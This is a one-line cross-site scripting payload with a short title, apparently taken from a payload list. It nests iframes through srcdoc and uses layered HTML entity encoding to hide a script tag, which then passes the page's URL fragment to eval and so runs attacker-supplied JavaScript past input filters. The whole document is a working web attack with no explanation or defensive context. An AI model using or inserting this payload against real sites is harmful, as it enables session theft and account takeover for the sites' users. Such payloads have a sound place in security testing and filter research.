xss in iframe in iframe with encode chars
<iframe srcdoc="<iframe srcdoc='<&amp;#x73;cript>&&#x23;x65;val(parent.parent.location.hash.substring`1`)</&#&#x78;73;cript>'></iframe>"></iframe>